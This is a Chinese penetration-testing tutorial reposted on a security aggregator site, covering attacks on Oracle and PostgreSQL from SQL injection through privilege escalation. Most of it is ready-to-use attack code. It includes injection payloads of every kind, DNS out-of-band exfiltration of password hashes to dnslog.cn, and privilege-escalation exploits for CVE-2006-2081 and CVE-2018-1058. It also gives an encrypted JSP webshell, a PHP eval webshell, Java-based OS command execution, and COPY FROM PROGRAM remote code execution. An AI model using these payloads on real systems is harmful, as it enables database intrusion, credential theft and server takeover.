Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13722 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
数据库—从注入到提权的全家桶套餐
本文来自公众号:Secquan圈子社区   2020.08.07 20:00:32


这是 酒仙桥六号部队 的第 55 篇文章。

全文共计5397个字,预计阅读时长17分钟


前言

偶然看到了最新的数据库流行度排名,发现在前5名的关系型数据库中,日常渗透测试见到最多的便是MySQL,排名第一的Oracle可能因为企业版高昂的价格限制了用户群众,在实际中相对于MySQL遇到的偏少,作为完全免费开源的PostgreSQL,虽然也占据了榜单Top 4,但目前在国内碰到的几率也很小。

所以这次先重点研究一下Oracle与PostgreSQL这两种数据库从手注到提权的不同方式,避免过度依赖sqlmap一把梭的尴尬局面。



SQL注入分析

1.数据库类型判断

身为关系型数据库,自然避免不了SQL注入的话题,而在进行注入前,我们首先要对数据库的种类进行判断 Oracle:根据特有的表进行判断:

and (select count(*) from sys.user_tables)>0

PostgreSQL:根据特有的语法判断:

and+1::int=1--

接下来我们从各自的数据库语法去分析不同的SQL注入方式,SQL注入按照我们熟悉的注入语法又划分为:基于布尔的盲注、基于时间延迟的盲注、显错注入、联合查询注入、堆查询注入,我们依次来对两种数据库进行分析。

2.联合查询注入

Oracle

a.在Oracle中,存在dual虚拟表,任何用户都可以去读取查询,因为Oracle数据库的查询语句必须包含from属性,所以常用在没有目标表的select查询语句中,比如可以查询当前用户等。

and 1=2 union select null,user,null from dual(获取当前用户名)

b.Oracle联合查询注入需要依次判断每个字段的字段类型,而不能像mysql中字段直接全部套用数字型。

and 1=2 union select 1,null,null from dual

若返回正常则为整数型,异常则为字符型'null'。

and 1=2 union select 1,'null','null' from dual

c.Oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数.查看前5个数据库用户,数据库用户均存在dba_users表中。

and 1=2 union select 1,username,password from dba_users where rownum<=5

d.联合查询注入需要用到查看表结构、字段名等功能,在mysql中大家所熟知的是information_schema,而在Oracle中同样拥有此类功能视图。

dba * dba拥有的或可以访问的所有对象

all*  某用户拥有的或可以访问的所有的对象

user_* 某用户拥有的所有对象(必须是拥有者owner,相当于表的创建者)

比如在user_tab_columns中,表名与字段名一一对应展示,可以同时对表名及字段名进行查询:

and 1=2 union select 1,table_name,column_name from user_tab_columns where rownum<=2000

e.其他常用语句:

可通过查看数据库文件位置间接判断操作系统。

and 1=2 union select 1,name,'null' from V$DATAFILE

查看数据库版本:

and 1=2 union select 1,version,'null' from v$instance

查看用户权限:

and 1=2 union select 1,privilege,'null' from session_privs

查看主机IP:

and 1=2 unions select utl_inaddr.get_host_address from dual

PostgreSQL

a.在order by确认字段数量后后需跟oracle一样,使用null来填充字段,然后依次去判断每个字段的字符类型(字符类型用'null',整数型用直接用整数代替),若直接使用整数型1,2,3来填充则会报错。

and 1=2 union select 1,2,3

and 1=2 union select null,null,null

最终判断出的每个字段的类型,以及页面回显位。

and 1=2 union select 100,'null','null'

b.查询当前数据库使用current_database()函数。

and 1=2 union select 1,current_database(),'null'

c.PostgreSQL数据库中的pg_stat_user_tables相当于mysql中的information_schema.tables(),realname代替mysql中的table_name进行查询。

d.PostgreSQL中的limit与mysql中的使用有所差异,语法为limit 1 offset 0。

and 1=2 union select 1,relname,'null' from pg_stat_user_tables limit 1 offset 0

之后便与mysql中的联合查询注入步骤及用法一样往后进行注入取值。

and 1=2 union select 1,column_name,'null' from information_schema.columns where table_name = 'tbuser' limit 1 offset 0

and 1=2 union select 1,username,password from tbuser where id = 2

e.利用sql注入查找超级用户postgres密码PostgreSQL数据库中用户账号密码存在于pg_authid以及pg_shadow表中。

and 1=2 union select 1,rolname,rolpassword from pg_authid limit 1 offset 0

and 1=2 union select 1,usename,passwd from pg_shadow limit 1 offset 0

此处有个需要注意的地方就是md5解出来的字符并不是全部都为密码,而是为“密码+账号”,如图所示,123456为用户postgres的密码。

获取账号密码后,可以远程连接执行sql命令。

3.布尔盲注

Oracle

a.instr()函数:查找一个字符串在指定字符串的出现位置。

and 1=(instr((select user from dual),'S'))and 2=(instr((select user from dual),'Y'))and 3=(instr((select user from dual),'S'))

b.decode()函数与substr()函数结合:decode函数为字符串运算函数,若字符串1等于字符串2,则返回1,不等于则返回0。

and 1=(select decode(user,'SYSTEM',1,0) from dual) --

与substr()函数结合,进行布尔盲注。

and 1=(select decode(substr((select username||password from tbuser),1,1),'t',1,0) from dual) --and 1=(select decode(substr((select username||password from tbuser),2,1),'e',1,0) from dual) --and 1=(select decode(substr((select username||password from tbuser),3,1),'s',1,0) from dual) --and 1=(select decode(substr((select username||password from tbuser),4,1),'t',1,0) from dual) --

c.常规ascii值猜解。

先使用length()判断字符串长度。

and 8=(select length(username||password) from tbuser where rownum=1)

再逐个字符去猜解ascii码值。

and 116=(select ascii(substr(username||password,1,1)) from tbuser where rownum=1)

and 101=(select ascii(substr(username||password,2,1)) from tbuser where rownum=1and 115=(select ascii(substr(username||password,3,1)) from tbuser where rownum=1)and 116=(select ascii(substr(username||password,4,1)) from tbuser where rownum=1)··· 

PostgreSQL:

a.常规ascii值猜解

length猜解长度。

and (select length(current_database())) between 0 and 30

拆解每个字符ascii值,之后步骤与oracle相同,不再阐述。

and (select ascii(substr(current_database(),1,1))) between 0 and 127

4.报错注入

Oracle:

utl_inaddr.get_host_name()函数

and 1=utl_inaddr.get_host_name((select username||password from dba_users where rownum=1))

ctxsys.drithsx.sn()函数

and 1=ctxsys.drithsx.sn(1,(select username from dba_users where rownum=1))

XMLType()函数

and (select upper(XMLType(chr(60)||chr(58)||(select username from tbuser where rownum=1)||chr(62))) from dual) is not null

dbms_xdb_version.checkin()函数

and (select dbms_xdb_version.checkin((select username||password from tbuser where rownum=1)) from dual) is not null

bms_xdb_version.makeversioned()函数

and (select dbms_xdb_version.makeversioned((select username||password from tbuser where rownum=1)) from dual) is not null

dbms_xdb_version.uncheckout()函数

and (select dbms_xdb_version.uncheckout((select username||password from tbuser where rownum=1)) from dual) is not null

dbms_utility.sqlid_to_sqlhash()函数

and (SELECT dbms_utility.sqlid_to_sqlhash((select username||password from tbuser where rownum=1)) from dual) is not null

PostgreSQL

cast()函数

and 1=cast(current_database()::text as int)--

and 1=cast((select relname from pg_stat_user_tables limit 1 offset 0)::text as int)--

之后按照联合查询对应语句依次注入取值即可。

and 1=cast((select username||cpassword from tbuser where id=2)::text as int)--

5.延时注入

Oracle

dbms_pipe.receive_message()函数DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)函数,表示将为从管道AAA返回的数据等待3秒判断是否存在。

and 1=dbms_pipe.receive_message('AAA', 3)

结合decode()函数进行盲注:

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)


and 1=(select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('AAA',3),0) from dual)and 1=(select decode(substr(user,3,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)···

PostgreSQL

PostgreSQL中延时睡眠函数pg_sleep()与mysql中的sleep()用法一致。

and 1=(select 1 from pg_sleep(5))

6.堆查询注入

Oracle

Oralce不支持堆查询注入,尝试堆查询注入直接对';'报错为无效字符。

PostgerSQL

堆叠注入可以结束上一条sql语句,开启新的sql语句,所以可以进行的操作也比较多,比如采用与联合查询注入相同的步骤,也可采用带外注入等。

7.带外注入

Oracle

oracle中包含大量低权限用户可访问的默认功能,可以使用建立带外连接。utl_http包可用于向其他主机提出任意http请求(需要公网http服务)。

and (select utl_http.request('dnslog.cn:80'||(select user from dual))is not null  

当没有http服务接收时,可以采用utl_inaddr包将主机名解析为IP地址,此包可根据指定的服务器生成DNS查询。

and (select utl_inaddr.get_host_address((select user from dual)||'.tmpgak.dnslog.cn') from dual)is not null

PostgreSQL

支持跨库进行查询,利用数据库拓展dblink实现dns带外注入需要先创建dblink拓展,若服务器为windows,则可以直接安装拓展。

CREATE EXTENSION dblink;

进行查询:

test.php?uid=1;select * from dblink('host='||(select passwd  from pg_shadow limit 1 offset 1)||'.mn8k6n.dnslog.cn user=user dbname=dbname','select user')RETURNS (result TEXT);


数据库用户权限提升

Oracle数据库用户提权

提升漏洞编号为CVE-2006-2081,漏洞成因由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码,此项为Oracle 10g经典提权漏洞。

先查询用户权限:

`select * from user_role_privs;`

创建程序包:

Create or REPLACEPACKAGE HACKERPACKAGE AUTHID CURRENT_USERISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBER;END;/

创建程序包体:

Create or REPLACE PACKAGE BODY HACKERPACKAGEISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBERISpragma autonomous_transaction;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO test';COMMIT;RETURN(1);END;END;/

创建过程:

DECLAREINDEX_NAME VARCHAR2(200);INDEX_SCHEMA VARCHAR2(200);TYPE_NAME VARCHAR2(200);TYPE_SCHEMA VARCHAR2(200);VERSION VARCHAR2(200);NEWBLOCK PLS_INTEGER;GMFLAGS NUMBER;v_Return VARCHAR2(200);BEGININDEX_NAME := 'A1';INDEX_SCHEMA := 'TEST';TYPE_NAME := 'HACKERPACKAGE';TYPE_SCHEMA := 'TEST';VERSION := '10.2.0.2.0';GMFLAGS := 1;v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>INDEX_NAME,INDEX_SCHEMA=> INDEX_SCHEMA,TYPE_NAME => TYPE_NAME,TYPE_SCHEMA => TYPE_SCHEMA,VERSION => VERSION,NEWBLOCK => NEWBLOCK,GMFLAGS => GMFLAGS);END;/

再次查看用户权限:

EXP地址:

`https://www.exploit-db.com/exploits/1719`

PostgreSQL数据库用户权限

提升漏洞编号:CVE-2018-1058

利用范围:PostgreSQL数据库版本9.3-10

原理:当数据库用户创建一个数据库时,PostgreSQL会创建一个叫public的模式,任何用户都可以在public模式下创建对象,若不进行其他配置设定修改的情况下,默认查询等操作都是优先在public中进行查询。

如select * from a等价于select * from public.a。

而名字相同的对象可以在相同数据库的不同模式下存在,也就是一个用户可以修改其他用户的查询行为,所以我们只需要通过在public模式下植入一个常见函数,比如转换大小写的函数lower(text)和upper(text),函数功能为当此函数被超级用户调用执行时,将超级用户权限赋予低权限用户即可实现用户权限提升。

利用步骤详情:

1.查看tiquan用户是否具有超级用户权限。

2.tiquan用户创建表并插入数据。

`CREATE TABLE public.tiquan AS SELECT 'tiquan'::varchar AS contents;`

3.tiquan用户定义upper()函数。

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE tiquan SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

4.超级用户查询时候使用upper函数,此时已经执行了ALTER ROLE tiquan SUPERUSER。

5.再次查看tiquan用户权限,成功提权至超级用户。


写入webshell

Oracle写入webshell

1.利用存储过程写入webshell。

a.创建webshell目录为站点绝对路径(需要已知绝对路径)。

create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping';

b.利用存储过程写入一句话木马。

declare   webshell_file utl_file.file_type;begin   webshell_file := utl_file.fopen('WEBSHELL_DIR', '1.jsp', 'W');    utl_file.put_line(webshell_file, '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>');    utl_file.fflush(webshell_file);    utl_file.fclose(webshell_file); end;/

c.写入成功

d.成功连接

2.利用数据库表空间结构写入文件先创建表空间,根据文件大小可相应修改表空间。

create tablespace jsptest datafile 'C:\apache-tomcat-8.5.56\webapps\Shopping\1.jsp' size 100k nologging;

创建表名并设置要插入字符的长度,此处先测试js代码,设置长度为100。

create table webshell(C varchar2(100)) tablespace jsptest;

写入要执行的代码:

insert into WEBSHELL values(<svg/onload=alert(1>');

提交数据:

commit;

提交后必须同步数据至当前表空间:

alter tablespace jsptest offline;

删除表空间:

drop tablespace jsptest including contents;

访问jsp文件:

PostgreSQL写入shell

直接利用copy函数将文件写入指定目录(需要已知绝对路径且对目录具有可操作权限)。

uid=1;copy (select '<?php @eval("$_POST[cmd]");?>') to 'C:\Users\test\Desktop\php\phpStudy\WWW\1.php';


提权

Oracle提权

因为java大多是以system权限运行,所以当oracle通过java获得命令执行权限时,便相当于间接获得了system权限,因此通过java权限命令执行也可以作为Oracle的提权过程。

1.利用java权限提权

a.先使用dba权限赋予用户java运行权限。

b.创建java包。

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

c.获取java获取权限。

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

d.创建执行命令的函数select。

dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function shell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

e.执行命令。

select shell('whoami') from dual;

2.利用存储过程提权

oracle也可以利用存储过程来进行命令执行,当用户拥有创建存储过程权限时,则可以创建一个java class,然后用创建一个存储过程来进行调用。

a.查看权限发现用户具有create procedure权限。

b.创建一个java class然后用procedure包装它进行调用。

create or replace and resolve java source named CMD as    import java.lang.*;    import java.io.*;    public class CMD    {       public static void execmd(String command) throws IOException {               Runtime.getRuntime().exec(command);        }    }   /

c.创建存储进程。

create or replace procedure CMDPROC(command in varchar) as language java     name 'CMD.execmd(java.lang.String)';/

d.执行命令。

e.执行成功。

PostgreSQL命令执行

高权限命令执行漏洞CVE-2019-9193。

从9.3版本开始,PostgreSQL实现了导入导出数据的命令“COPY TO/FROM PROGRAM”,而此命令允许数据库超级用户以及“pg_read_server_files”组内用户执行上任意操作系统命令。

利用条件:

1.postgresql数据库版本在9.3-11.2。

2.执行数据库语句用户为超级用户或者“pg_read_server_files”组用户,pg_read_server_files角色权限可以执行copy命令,且此权限为11版本新增角色,11版本以下需要超级用户权限。

接下来开始命令执行步骤:

创建用来保存命令输出的表。

DROP TABLE IF EXISTS rce;CREATE TABLE  rce(rce_output text);

通过“COPY FROM PROGRAM”执行系统命令。

COPY rce FROM PROGRAM 'whoami';

查看执行结果:

SELECT * FROM rce;


总结

本篇文章重点在于制作了Oracle与PostgreSQL数据库从注入到提权的一个全家桶套餐,但注入到提权的路有很多条,不能局限于本文的几条,希望师傅们可以多学习多总结,制作一个属于自己的吮指原味新奥尔良奶油芝士豪华全家桶。

写在结尾

文章转自酒仙桥六号部队,如有意向投稿的小伙伴可在公众号留言,感谢大家的支持。

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

社区回复 今日日报,获取最新线报哦!




扫二维码|关注我们


引领实战潮流,回归技术本质
汇聚行业新锐力量 推动网络安全进步
这是一个实战派白帽子的聚集地